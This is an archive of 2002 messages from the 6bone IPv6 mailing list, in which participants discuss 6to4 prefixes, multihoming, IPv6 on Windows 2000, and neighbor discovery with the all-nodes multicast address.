<DIV>^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^=
^^^^^^^^^^^</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV><BR>Mar 21 15:19:15 ruby kernel:<BR>Mar 21 15:19:15 ruby kernel: =
ed0:=20
  flags=3D8843&lt;UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST&gt; mtu =
1500<BR>Mar 21=20
  15:19:15 ruby kernel: inet6 fe80::240:5ff:fe4e:a982%ed0 prefixlen 64 =
scopeid=20
  0x1<BR>Mar 21 15:19:15 ruby kernel: inet6 2002:cb01:6006:: prefixlen =
64=20
  anycast<BR>Mar 21 15:19:15 ruby kernel: lp0:=20
  flags=3D8851&lt;UP,POINTOPOINT,RUNNING,SIMPLEX,MULTICAST&gt; mtu =
1500<BR>Mar 21=20
  15:19:15 ruby kernel: ifconfig:<BR>Mar 21 15:19:15 ruby kernel: lp0 =
has no=20
  inet6 interface address!<BR>Mar 21 15:19:15 ruby kernel:<BR>Mar 21 =
15:19:15=20
  ruby kernel: lo0: flags=3D8049&lt;UP,LOOPBACK,RUNNING,MULTICAST&gt; =
mtu=20
  16384<BR>Mar 21 15:19:15 ruby kernel: inet6 ::1 prefixlen 128<BR>Mar =
21=20
  15:19:15 ruby kernel: inet6 fe80::1%lo0 prefixlen 64 scopeid =
0x3<BR>Mar 21=20
  15:19:15 ruby kernel: add net 2002:e000::: gateway ::1<BR>Mar 21 =
15:19:15 ruby=20
  kernel: add net 2002:7f00::: gateway ::1<BR>Mar 21 15:19:15 ruby =
kernel: add=20
  net 2002:0000::: gateway ::1<BR>Mar 21 15:19:15 ruby kernel: add net=20
  2002:ff00::: gateway ::1<BR>Mar 21 15:19:15 ruby kernel: add net =
fe80:::=20
  gateway ::1<BR>Mar 21 15:19:15 ruby kernel: add net ff02::: gateway =
::1<BR>Mar=20
  21 15:19:15 ruby kernel: add net default: gateway =
2002:cdb2:5ac2::1<BR>Mar 21=20
  15:19:15 ruby kernel: IPv4 mapped IPv6 address support=3DYES<BR>Mar 21 =
15:19:15=20
  ruby kernel: .<BR>Mar 21 15:19:15 ruby kernel: Additional =
daemons:<BR>Mar 21=20
  15:19:15 ruby kernel: syslogd</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV></FONT>&nbsp;</DIV></BLOCKQUOTE></BODY></HTML>

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From 6bone-owner  Thu Mar 21 13:02:29 2002
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Date: Thu, 21 Mar 2002 20:59:42 +0000
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To: Robert <robert@quantum-radio.net.au>
CC: 6bone@ISI.EDU
Subject: Re: just a check on a 6to4 syntax thing
References: <018901c1d073$1ae8ded0$1a6001cb@chalmers.com.au>
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Robert,

> What part of the IPv4 address goes here ?
> 
> ipv6_prefix_nn0="2002:xxxx:xxxx"
>                       ^^^^^^^^^
All of it ;)

 From two paragraphs above your quote:

 > For example, if your gateway machine's IPv4 address is 192.168.2.199
 > (it obviously wouldn't be since that address is unroutable, but just
 > for example), your IPv6 prefix would be 2002:c0a8:2c7::/48.

It works like this:

dec -> hex
---    ---
192 -> C0
168 -> A8
   2 -> 02
199 -> C7

So you'd use 2002:C0A8:02C7::/48

Or you could use 2002:c058:6301::/48 - see RFC 3068
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX



From 6bone-owner  Thu Mar 21 20:54:54 2002
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Date: Thu, 21 Mar 2002 23:55:03 -0500
From: Matthew Drobnak <mdrobnak@optonline.net>
Subject: Peering with multiple tunnel providers
To: 6bone@ISI.EDU
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Sender: owner-6bone@zephyr.isi.edu
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Ok, so let's scrap BGP for now, until
A)I have a better understanding of it,
and
B)I have others to peer with using private ASNs.

Here was the goal:

I'm at 3ffe:b80:25d:1:blah. I want to get to 3ffe:c25:....blah. Now I 
have a conneciton to freenet6, which is all of 3ffe:b00/22(or something 
like that), and a connection to say Hurricane Electric. For this 
example, say 3ffe:c25:..blah was a tunnel from Hurricane Electric. I 
would like some way to be able to tell this, and be able to route 
traffic to the provider closest to my destination, OR, the only provider 
who actually has a connection to my destination. Is there any other way 
to do this without BGP? If so, I'm all ears. :)

Thanks for your time,
-Matthew Drobnak


From 6bone-owner  Fri Mar 22 06:10:49 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Matthew Drobnak <mdrobnak@optonline.net>
cc: 6bone@ISI.EDU
Subject: Re: Peering with multiple tunnel providers
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On Thu, 21 Mar 2002, Matthew Drobnak wrote:
> Here was the goal:
> 
> I'm at 3ffe:b80:25d:1:blah. I want to get to 3ffe:c25:....blah. Now I 
> have a conneciton to freenet6, which is all of 3ffe:b00/22(or something 
> like that), and a connection to say Hurricane Electric. For this 
> example, say 3ffe:c25:..blah was a tunnel from Hurricane Electric. I 
> would like some way to be able to tell this, and be able to route 
> traffic to the provider closest to my destination, OR, the only provider 
> who actually has a connection to my destination. Is there any other way 
> to do this without BGP? If so, I'm all ears. :)

BGP is pretty much required.

But it won't help you unless you have very good source address selection 
implementation.. So I don't think it's worth the trouble.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Fri Mar 22 07:50:13 2002
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Matthew,

What you are asking for is multihoming. As of today, there is no deployed solution to do this without BGP.

Michel.

From:	Matthew Drobnak [SMTP:mdrobnak@optonline.net]
Here was the goal:

I'm at 3ffe:b80:25d:1:blah. I want to get to 3ffe:c25:....blah. Now I 
have a conneciton to freenet6, which is all of 3ffe:b00/22(or something 
like that), and a connection to say Hurricane Electric. For this 
example, say 3ffe:c25:..blah was a tunnel from Hurricane Electric. I 
would like some way to be able to tell this, and be able to route 
traffic to the provider closest to my destination, OR, the only provider 
who actually has a connection to my destination. Is there any other way 
to do this without BGP? If so, I'm all ears. :)

From 6bone-owner  Fri Mar 22 09:14:32 2002
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From: Ronald Wiplinger <ronald@elmit.com>
Subject: IPv6 address of a Windows machine on the LAN
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I have setup IPv6 and it works fine! I can use it from the LAN from an=20
Windows2000 machine, like ping6, ...
I want to test if I can reach this Windows machine, but could not figure=20
out, which IP address it has. ( I know it is the MAC address plus - but I=20
cannot find the formula )

Thanks for the help!


Ronald Wiplinger (=C3Q=A4=AF=AF=C7), CEO, ELMIT - THE Internet Solution=
 Provider
Tel. +886 2 8809-7680, Fax. +886 2 2809-9158, Mobile: +886 915 653-452
Net2Phone:8869550066, ICQ: 111651169
http://www.elmit.com            http://www.wiplinger.org
--=====================_181406899==_.ALT
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<html>
I have setup IPv6 and it works fine! I can use it from the LAN from an
Windows2000 machine, like ping6, ... <br>
I want to test if I can reach this Windows machine, but could not figure
out, which IP address it has. ( I know it is the MAC address plus - but I
cannot find the formula )<br><br>
Thanks for the help!<br><br>
<x-sigsep><p></x-sigsep>
Ronald Wiplinger (=C3Q=A4=AF=AF=C7), CEO, ELMIT - THE Internet Solution
Provider<br>
<font size=3D2>Tel. +886 2 8809-7680, Fax. +886 2 2809-9158, Mobile: +886
915 653-452 <br>
</font>Net2Phone:8869550066, ICQ: 111651169<br>
<a href=3D"http://www.elmit.com/"=
 eudora=3D"autourl">http://www.elmit.com</a><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;<=
/x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><a=
 href=3D"http://www.wiplinger.org/" eudora=3D"autourl">http://www.wiplinger.=
org</a></html>

--=====================_181406899==_.ALT--


From 6bone-owner  Mon Mar 25 04:19:09 2002
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From: "Christian Kuhtz" <ck@arch.bellsouth.net>
To: "6bone" <6bone@ISI.EDU>
Subject: w2k & ipv6 - need help
Date: Mon, 25 Mar 2002 07:17:27 -0500
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hey there,

i feel stupid asking this, but... seems the documentation on w2k's
ipv6 stack is a little thin from what i've been able to find so far.
anyone care to help me get this configuration sorted out?  i've gotten
it to work sporadically, but i feel like i don't know what i'm doing
here when i mess around with the ipv6 cmd ln tool.

a discussion of a simple configuration scenario would help.  (no, this
isn't about using a w2k site as a 6bone gateway, just a lowly w2k
endnode on a ipv4/ipv6 dual stack subnet on the 6bone).  anyone care
to help me out or point me towards configuration examples/scenarios?

if you can suggest a more appriate forum, please point me that way.

thanks,
chris


From 6bone-owner  Mon Mar 25 05:43:38 2002
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From: Christian Hahn <hahn@berkom.de>
To: Ronald Wiplinger <ronald@elmit.com>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 address of a Windows machine on the LAN
Message-ID: <20020325134341.GA2445@knax.berkom.de>
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Hi,

the global IPv6 address of an IPv6 interface is build using the prefix for
the first 64bit and the EUI-64 interface address for the last 64bit.
The EUI-64 address is build using the MAC address of the interface and a padding of bits
to make it 64bit long. You can figure out your global interface address on
W2k using the ipv6 tools that are installed with the ipv6 stack. Type "ipv6
if" on the command line and it shows all IPv6 interfaces of the machine, 
usally 4. Interface 4 is normally the global interface where you can 
find your unique global address you can use for pinging.

On Sat, Mar 23, 2002 at 01:20:31AM +0800, Ronald Wiplinger wrote:
> I have setup IPv6 and it works fine! I can use it from the LAN from an 
> Windows2000 machine, like ping6, ...
> I want to test if I can reach this Windows machine, but could not figure 
> out, which IP address it has. ( I know it is the MAC address plus - but I 
> cannot find the formula )
> 
> Thanks for the help!
> 
> 
> Ronald Wiplinger (ÃQ?¯¯Ç), CEO, ELMIT - THE Internet Solution Provider
> Tel. +886 2 8809-7680, Fax. +886 2 2809-9158, Mobile: +886 915 653-452
> Net2Phone:8869550066, ICQ: 111651169
> http://www.elmit.com            http://www.wiplinger.org

--

regards
Christian

=============================

Christian Hahn
hahn@berkom.de

From 6bone-owner  Mon Mar 25 08:22:00 2002
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Subject: RE: w2k & ipv6 - need help
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To: "Christian Kuhtz" <ck@arch.bellsouth.net>, "6bone" <6bone@ISI.EDU>
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Christian:
 
The configuration #3 described in Getting Started with IPv6 Technology Preview for Windows 2000 allows connectivity to the 6bone.
 
http://msdn.microsoft.com/downloads/sdks/platform/tpipv6/start.asp
 
It uses the 6to4 relay for the 6bone connectivity, so very little configuration is required.
The "manual tunnel to the 6bone" configuration is not described in the FAQ.
 
Windows XP has built-in IPv6 functionality that makes connecting networks (not just nodes) to the 6bone even easier.
 

	-----Original Message----- 
	From: Christian Kuhtz [mailto:ck@arch.bellsouth.net] 
	Sent: Mon 3/25/2002 4:17 AM 
	To: 6bone 
	Cc: 
	Subject: w2k & ipv6 - need help
	
	


	hey there,
	
	i feel stupid asking this, but... seems the documentation on w2k's
	ipv6 stack is a little thin from what i've been able to find so far.
	anyone care to help me get this configuration sorted out?  i've gotten
	it to work sporadically, but i feel like i don't know what i'm doing
	here when i mess around with the ipv6 cmd ln tool.
	
	a discussion of a simple configuration scenario would help.  (no, this
	isn't about using a w2k site as a 6bone gateway, just a lowly w2k
	endnode on a ipv4/ipv6 dual stack subnet on the 6bone).  anyone care
	to help me out or point me towards configuration examples/scenarios?
	
	if you can suggest a more appriate forum, please point me that way.
	
	thanks,
	chris
	
	


From 6bone-owner  Mon Mar 25 08:28:49 2002
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From: "Christian Kuhtz" <ck@arch.bellsouth.net>
To: "Art Shelest" <artshel@microsoft.com>, "6bone" <6bone@ISI.EDU>
Subject: RE: w2k & ipv6 - need help
Date: Mon, 25 Mar 2002 11:27:07 -0500
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i'm sorry, but i think i didn't express myself right.

> (no, this
> 	isn't about using a w2k site as a 6bone gateway, just 
> a lowly w2k
> 	endnode on a ipv4/ipv6 dual stack subnet on the 
> 6bone). 

i'm not referring to 6to4 configuration.  just plain and simple one w2k box with ethernet connectivity to a local ipv6 router.

i guess we should take this discussion off list.

thanks,
chris



From 6bone-owner  Mon Mar 25 12:05:18 2002
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Subject: RE: w2k & ipv6 - need help
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On Mon, 2002-03-25 at 10:27, Christian Kuhtz wrote:
>=20
> i'm sorry, but i think i didn't express myself right.
>=20
> > (no, this
> > 	isn't about using a w2k site as a 6bone gateway, just=20
> > a lowly w2k
> > 	endnode on a ipv4/ipv6 dual stack subnet on the=20
> > 6bone).=20
>=20
> i'm not referring to 6to4 configuration.  just plain and simple one w2k b=
ox with ethernet connectivity to a local ipv6 router.
>=20
> i guess we should take this discussion off list.
>=20
> thanks,
> chris
>=20

Actually, I'm a bit interested in this myself--I can't find any means to
apply an IPv6-capable stack onto the Win2k box here because the latest
package I could find won't install on SP2.

(There are already several FreeBSD and Linux hosts already connected)
--=20
Ben Winslow (rain@bluecherry.net) : Because we don't think about
       System Administrator       : future generations, they will
   Bluecherry Internet Services   : never forget us. -- Henrik
    http://www.bluecherry.net/    : Tikkanen =20
          (573) 592-0800          :=20

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From 6bone-owner  Mon Mar 25 13:43:53 2002
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From: Hrvoje Dogan <hdogan@RI.CARNet.hr>
Date: Mon, 25 Mar 2002 22:44:08 +0100
To: 6bone@ISI.EDU
Subject: Re: w2k & ipv6 - need help
Message-ID: <20020325214408.GA4587@RI.CARNet.hr>
References: <BGEIJGPNFIOIDOCHJNCAOEIHCBAA.ck@arch.bellsouth.net> <1017086731.30954.1.camel@halcyon>
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Hi!

On Mon, Mar 25, 2002 at 02:05:30PM -0600, Ben Winslow wrote:
> 
> Actually, I'm a bit interested in this myself--I can't find any means to
> apply an IPv6-capable stack onto the Win2k box here because the latest
> package I could find won't install on SP2.

Oh, you can, you just have to fiddle with a .inf file or something, and
convince it to look for a higher windows version. There actually
*are* instructions how to do it somewhere on MSR site. 

I'm sorry I can't give you any detailed information, I tried it a while 
ago, and it blew the kernel if the network cable was disconnected on 
restoring from hybernation. Since I tested it on my laptop, that wasn't 
a nice thing for it to do :-)




						Hrvoje

From 6bone-owner  Mon Mar 25 23:19:00 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Hrvoje Dogan <hdogan@RI.CARNet.hr>
Cc: 6bone@ISI.EDU
Subject: Re: w2k & ipv6 - need help
Message-ID: <20020326071915.GB24758@bfib.colo.bit.nl>
References: <BGEIJGPNFIOIDOCHJNCAOEIHCBAA.ck@arch.bellsouth.net> <1017086731.30954.1.camel@halcyon> <20020325214408.GA4587@RI.CARNet.hr>
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| > Actually, I'm a bit interested in this myself--I can't find any means to
| > apply an IPv6-capable stack onto the Win2k box here because the latest
| > package I could find won't install on SP2.
| 
| Oh, you can, you just have to fiddle with a .inf file or something, and
| convince it to look for a higher windows version. There actually
| *are* instructions how to do it somewhere on MSR site. 
Jeroen Massar <jeroen@ipng.nl> has prepared an SP2-IE6 release of the
IPv6 stack from the Microsoft engineers.

It can be downloaded from : http://www.ipng.nl/tpipv6-001205-SP2-IE6.zip

This runs fine on any Win2k SP2 box.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Tue Mar 26 09:03:31 2002
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Date: Tue, 26 Mar 2002 18:03:37 +0100 (CET)
From: Michael Kjorling <michael@kjorling.com>
X-X-Sender: michael@varg.wolfpack
To: 6bone <6bone@ISI.EDU>
Subject: Packet to ff02::1
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

All right, this might be a little off topic here (if it is, please
point me at the right place), but I am finally getting a serious grasp
of IPv6 and ran across this little one in my logs. It's logged as
being denied (quite in accordance with the firewall rules I have set
up), but my question is: what are the implications of disallowing the
"all nodes multicast" address (and the other addresses in the same
category)? (varg, among else, serves as my IPv6 router.)

> Mar 26 16:50:42 varg kernel: IN=eth1 OUT= MAC= SRC=fe80:0000:0000:0000:02a0:ccff:fe52:e0a4 DST=ff02:0000:0000:0000:0000:0000:0000:0001 LEN=128 TC=0 HOPLIMIT=255 FLOWLBL=0 PROTO=ICMPv6 TYPE=134 CODE=0
> Mar 26 16:50:42 varg kernel: IN=eth0 OUT= MAC=33:33:00:00:00:01:00:a0:cc:52:e0:a4:86:dd SRC=fe80:0000:0000:0000:02a0:ccff:fe52:e0a4 DST=ff02:0000:0000:0000:0000:0000:0000:0001 LEN=128 TC=0 HOPLIMIT=255 FLOWLBL=0 PROTO=ICMPv6 TYPE=134 CODE=0

Also if someone has a list of the special (non-2000::/3) addresses and
address blocks which I need to allow (locally and globally) at hand,
that would be perfect. I would like to respond to packets that won't
get anywhere anyway with network unreachable right away (for some
reason the system keeps insisting on having its ::/0 route in the
routing table and I don't seem to be able to remove it easily),
instead of polluting my uplink. This seems to me like wise practice
even though the actual number of packages at all over IPv6 will be
very limited to start with.

Any input would be greatly appreciated!


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Public key is at http://michael.kjorling.com/contact/pgp.html

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=xi5S
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From 6bone-owner  Tue Mar 26 22:43:51 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Michael Kjorling <michael@kjorling.com>
Cc: 6bone <6bone@ISI.EDU>
Subject: Re: Packet to ff02::1
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Hi Michael,

Disallowing from fe80::/10 is the same as killing DAD and neighbor
discovery (check http://www.faqs.org/rfcs/rfc2461.html).

The NDP (neighbor discovery protocol) uses ff02::1 to send a packet
in multicast (one-to-all, that is) so that all-hosts on the local link
receive it. ff02::2 is the same, but denotes all-routers.

You should try pinging ff02::1 and ff02::2 one day, it's quite good
fun!

What happens, in IPv4, when your box (10.0.0.2) wants to communicate with 
another box (10.0.0.1) on the line for the first time:
1. ARP request to ethernet broadcast 
   -> FF:FF:FF:FF:FF:FF who-has 10.0.0.1 tell 10.0.0.2 ?
2. All boxes receive, the one with 10.0.0.1 replies from its MAC:
   -> 10.0.0.1 is-at 00:20:12:34:56:AB !
3. your box sends the frame to 00:20:12:34:56:AB from its MAC address.

Now what happens with IPv6 when your box wants to talk to another ?
1. IPv6 neighbor solicitation is sent to IPv6 multicast address ff02::1

   fe80::203:47ff:fe73:1f0f -> ff02::1 Neighbor Solicitation for 
   		3ffe:8350:1:51:210:7bff:fe30:591
2. All boxes receive (this is mandatory!), the one with 
   3ffe:8350:1:51:210:7bff:fe30:591 replies from its link-local address:

   fe80::210:7bff:fe30:591 -> fe80::203:47ff:fe73:1f0f Neigh Adv for 
   		3ffe:8350:1:51:210:7bff:fe30:591
   (which it sends to the link-local the NS came from in the first place: 
	your link-local)
3. Your box sees the MAC address where this advertisement came from and
   now knows the MAC address of 3ffe:8350:1:51:210:7bff:fe30:591

You should never firewall the linklocal scope (fe80::/10) as you cannot
be externally attacked. I do not think you should firewall ff01::/32
nor ff02::/32 on any interface which you wish to use IPv6 on.

Hope this helps.

groet,
Pim


 


On Tue, Mar 26, 2002 at 06:03:37PM +0100, Michael Kjorling wrote:
| -----BEGIN PGP SIGNED MESSAGE-----
| Hash: SHA1
| 
| All right, this might be a little off topic here (if it is, please
| point me at the right place), but I am finally getting a serious grasp
| of IPv6 and ran across this little one in my logs. It's logged as
| being denied (quite in accordance with the firewall rules I have set
| up), but my question is: what are the implications of disallowing the
| "all nodes multicast" address (and the other addresses in the same
| category)? (varg, among else, serves as my IPv6 router.)
| 
| > Mar 26 16:50:42 varg kernel: IN=eth1 OUT= MAC= SRC=fe80:0000:0000:0000:02a0:ccff:fe52:e0a4 DST=ff02:0000:0000:0000:0000:0000:0000:0001 LEN=128 TC=0 HOPLIMIT=255 FLOWLBL=0 PROTO=ICMPv6 TYPE=134 CODE=0
| > Mar 26 16:50:42 varg kernel: IN=eth0 OUT= MAC=33:33:00:00:00:01:00:a0:cc:52:e0:a4:86:dd SRC=fe80:0000:0000:0000:02a0:ccff:fe52:e0a4 DST=ff02:0000:0000:0000:0000:0000:0000:0001 LEN=128 TC=0 HOPLIMIT=255 FLOWLBL=0 PROTO=ICMPv6 TYPE=134 CODE=0
| 
| Also if someone has a list of the special (non-2000::/3) addresses and
| address blocks which I need to allow (locally and globally) at hand,
| that would be perfect. I would like to respond to packets that won't
| get anywhere anyway with network unreachable right away (for some
| reason the system keeps insisting on having its ::/0 route in the
| routing table and I don't seem to be able to remove it easily),
| instead of polluting my uplink. This seems to me like wise practice
| even though the actual number of packages at all over IPv6 will be
| very limited to start with.
| 
| Any input would be greatly appreciated!
| 
| 
| Michael Kjörling
| 
| - -- 
| Michael Kjörling  --  Programmer/Network administrator  ^..^
| Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
| PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e
| 
| ``And indeed people sometimes speak of man's "bestial" cruelty, but
| this is very unfair and insulting to the beasts: a beast can never be
| so cruel as a man, so ingeniously, so artistically cruel.''
| (Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
| -----BEGIN PGP SIGNATURE-----
| Version: GnuPG v1.0.6 (GNU/Linux)
| Comment: Public key is at http://michael.kjorling.com/contact/pgp.html
| 
| iD8DBQE8oKntKqN7/Ypw4z4RAmB7AKD6/l1Cog6AhuQrrXr7FnmBvLw+oQCgpJrC
| Sfdsdfk20w9MJthFahvu7Ro=
| =xi5S
| -----END PGP SIGNATURE-----
| 

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Tue Mar 26 23:07:25 2002
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From: "Andreas 'randy' Weinberger" <randy@ipcenta.de>
To: "6bone" <6bone@ISI.EDU>
References: <Pine.LNX.4.44.0203261753050.1696-100000@varg.wolfpack>
Subject: Re: Packet to ff02::1
Date: Wed, 27 Mar 2002 08:08:40 +0100
Organization: iPcenta Germany GmbH
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hi michael,

> > Mar 26 16:50:42 varg kernel: IN=eth1 OUT= MAC= SRC=fe80:0000:0000:0000:02a0:ccff:fe52:e0a4
DST=ff02:0000:0000:0000:0000:0000:0000:0001 LEN=128 TC=0 HOPLIMIT=255 FLOWLBL=0 PROTO=ICMPv6 TYPE=134 CODE=0
> > Mar 26 16:50:42 varg kernel: IN=eth0 OUT= MAC=33:33:00:00:00:01:00:a0:cc:52:e0:a4:86:dd
SRC=fe80:0000:0000:0000:02a0:ccff:fe52:e0a4 DST=ff02:0000:0000:0000:0000:0000:0000:0001 LEN=128 TC=0 HOPLIMIT=255 FLOWLBL=0
PROTO=ICMPv6 TYPE=134 CODE=0

like http://steinbeck.ucs.indiana.edu:47401/oracle.html says:

All nodes address
The address ff02::1 indicates a destination of all nodes on the local

link-layer network. In other words, this address refers to all nodes in the LAN.



seems to be the same like the ipv4 broadcast ;)


> Any input would be greatly appreciated!

> Michael Kjörling
>

bye,
--------- andreas 'randy' weinberger ---------

         internet system engineer,
 php development, sun microsystems workgroup
   computing expert & digitale videotechnik

  CompleTel GmbH (http://www.completel.de/)
-------



From 6bone-owner  Tue Mar 26 23:44:33 2002
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Please unsubscribes me from your news.

Thanks


From 6bone-owner  Wed Mar 27 07:17:46 2002
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Date: Wed, 27 Mar 2002 07:16:03 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:4000::/32 allocated to TELEPAC
Cc: Bill Manning <bmanning@ISI.EDU>,
        "Pedro Goncalves" <pgoncalves@net.telepac.pt>
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TELEPAC has been allocated pTLA 3FFE:4000::/32 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?TELEPAC>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Wed Mar 27 15:32:00 2002
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200203272331.g2RNVvb12275@boreas.isi.edu>
Subject: Re: 6bone pTLA 3FFE:4000::/32 allocated to TELEPAC
In-Reply-To: <5.1.0.14.0.20020327065410.02864428@imap2.es.net> from Bob Fink at "Mar 27, 2 07:16:03 am"
To: fink@es.net (Bob Fink)
Date: Wed, 27 Mar 2002 15:31:57 -0800 (PST)
Cc: 6bone@ISI.EDU, bmanning@ISI.EDU, pgoncalves@net.telepac.pt
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% TELEPAC has been allocated pTLA 3FFE:4000::/32 having finished its 2-week 
% review period.
% 
% <http://whois.6bone.net/cgi-bin/whois?TELEPAC>
% 
% 
% Note that it will take a short while for their pTLA inet6num entry to 
% appear in the 6bone registry as they have to create it themselves. However, 
% their registration is listed on:
% 
% <http://www.6bone.net/6bone_pTLA_list.html>	
% 
% 
% [To create a reverse DNS registration for pTLAs, please send the prefix 
% allocated above, and a list of at least two authoritative nameservers, to 
% either bmanning@isi.edu or hostmaster@ep.net.]
% 
% 
% Thanks,
% 
% Bob


Please send updates to <hostmaster@ep.net>

bash-2.05# dig 0.0.0.4.e.f.f.3.ip6.int. ns @::1      

; <<>> DiG 9.2.0 <<>> 0.0.0.4.e.f.f.3.ip6.int. ns @::1
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18196
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;0.0.0.4.e.f.f.3.ip6.int.       IN      NS

;; AUTHORITY SECTION:
0.0.0.4.e.f.f.3.ip6.int. 86400  IN      NS      noserver.

;; Query time: 9 msec
;; SERVER: ::1#53(::1)
;; WHEN: Wed Mar 27 15:31:11 2002
;; MSG SIZE  rcvd: 63


-- 
--bill

From 6bone-owner  Thu Mar 28 02:46:24 2002
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From: Robert Elz <kre@munnari.OZ.AU>
To: Pim van Pelt <pim@ipng.nl>
cc: Michael Kjorling <michael@kjorling.com>, 6bone <6bone@ISI.EDU>
Subject: Re: Packet to ff02::1 
In-Reply-To: <20020327064407.GC6163@bfib.colo.bit.nl> 
References: <20020327064407.GC6163@bfib.colo.bit.nl>  <Pine.LNX.4.44.0203261753050.1696-100000@varg.wolfpack> 
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    Date:        Wed, 27 Mar 2002 07:44:07 +0100
    From:        Pim van Pelt <pim@ipng.nl>
    Message-ID:  <20020327064407.GC6163@bfib.colo.bit.nl>

  | Now what happens with IPv6 when your box wants to talk to another ?
  | 1. IPv6 neighbor solicitation is sent to IPv6 multicast address ff02::1
  | 
  |    fe80::203:47ff:fe73:1f0f -> ff02::1 Neighbor Solicitation for=20
  |    		3ffe:8350:1:51:210:7bff:fe30:591
  | 2. All boxes receive (this is mandatory!),

That isn't the way I remember ND being defined, and nor is it what
implementations seem to actually do.

17:44:34.435594 3ffe:8001:2:181::2 > ff02::1:ff0f:41cf: icmp6: neighbor sol: who has 3ffe:8001:2:181:210:a4ff:fe0f:41cf
17:44:34.435756 3ffe:8001:2:181:210:a4ff:fe0f:41cf > 3ffe:8001:2:181::2: icmp6: neighbor adv: tgt is 3ffe:8001:2:181:210:a4ff:fe0f:41cf
17:44:34.435829 3ffe:8001:2:181::2 > 3ffe:8001:2:181:210:a4ff:fe0f:41cf: icmp6: echo request
17:44:34.435927 3ffe:8001:2:181:210:a4ff:fe0f:41cf > 3ffe:8001:2:181::2: icmp6: echo reply

kre

ps: ff02::1 is similar to IPv4 broadcast (255.255.255.255 or the net specific
broadcast address) but it only bothers IPv6 nodes, not everything else that
happens to be connected to the net.  Filtering it isn't a good idea, but
it also isn't likely to be a disaster.


From 6bone-owner  Thu Mar 28 03:14:04 2002
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From: Michael Kjorling <michael@kjorling.com>
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To: Robert Elz <kre@munnari.OZ.AU>
cc: Pim van Pelt <pim@ipng.nl>, 6bone <6bone@ISI.EDU>
Subject: Re: Packet to ff02::1 
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Well, Pim also wrote (just beyond what you quoted) that "the one with
3ffe:8350:1:51:210:7bff:fe30:591 replies from its link-local address".
This seems to imply that all other hosts ignore it (receiving
something and acting upon it by sending a reply is not the same thing
as I understand it at least).

I have not read the definition of IPv6 Neighbor Discovery, but from
what I have understood of it this seems like a good thing. How is a
host supposed to know whether any kind of broadcasted packet is for it
or not before analyzing it? ("Host" being either a router or a
client.)


Michael Kjörling


On Mar 28 2002 17:47 +0700, Robert Elz wrote:

>     Date:        Wed, 27 Mar 2002 07:44:07 +0100
>     From:        Pim van Pelt <pim@ipng.nl>
>     Message-ID:  <20020327064407.GC6163@bfib.colo.bit.nl>
>
>   | Now what happens with IPv6 when your box wants to talk to another ?
>   | 1. IPv6 neighbor solicitation is sent to IPv6 multicast address ff02::1
>   |
>   |    fe80::203:47ff:fe73:1f0f -> ff02::1 Neighbor Solicitation for=20
>   |    		3ffe:8350:1:51:210:7bff:fe30:591
>   | 2. All boxes receive (this is mandatory!),
>
> That isn't the way I remember ND being defined, and nor is it what
> implementations seem to actually do.
>
> 17:44:34.435594 3ffe:8001:2:181::2 > ff02::1:ff0f:41cf: icmp6: neighbor sol: who has 3ffe:8001:2:181:210:a4ff:fe0f:41cf
> 17:44:34.435756 3ffe:8001:2:181:210:a4ff:fe0f:41cf > 3ffe:8001:2:181::2: icmp6: neighbor adv: tgt is 3ffe:8001:2:181:210:a4ff:fe0f:41cf
> 17:44:34.435829 3ffe:8001:2:181::2 > 3ffe:8001:2:181:210:a4ff:fe0f:41cf: icmp6: echo request
